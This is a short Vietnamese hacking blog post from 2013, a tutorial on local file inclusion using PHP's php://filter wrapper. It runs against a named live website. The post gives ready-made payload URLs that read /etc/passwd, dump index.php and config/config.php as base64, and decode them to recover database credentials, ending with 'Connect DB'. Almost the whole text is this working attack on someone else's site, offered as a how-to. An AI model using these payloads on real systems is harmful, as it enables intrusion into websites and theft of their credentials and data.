Wednesday, 16 January 2013

[TUT] LFI PHP://Filter

Begin LFI!
Đây là một TUT rất hay của anh kaka85_vn (http://kmasecurity.blogspot.com).

Let GO! php://filter

Victim:http://www.hctjstbk.cz/
Bước 1: Tìm link bị lỗi LFI
http://www.hctjstbk.cz/index.php?page=/etc/passwd





Bước 2: Kiểm tra qua /proc/self/environ -> Không được
php://input -> Không được
php://filter/convert.base64-encode/resource=index.php -> okie
Bước 3: Do website mã hóa dùng php://filter file index.php
http://www.hctjstbk.cz/index.php?page=php://filter/convert.base64-encode/resource=index.php


Bước 4: View Source copy đoạn mã hóa của file index.php-> vào website giải mã base64 online ở đây mình dùng website
http://www.rbl.jp/base64.php

Bước 5: Sau khi giải mã file index.php để ý đoạn sau config/config.php
Bước 6: php filter file config/config.php
http://www.hctjstbk.cz/index.php?page=php://filter/convert.base64-encode/resource=config/config.php

Viewsource giải mã được database như sau

Bước 7: Connect DB

End tut kakavn_85

No comments:

Post a Comment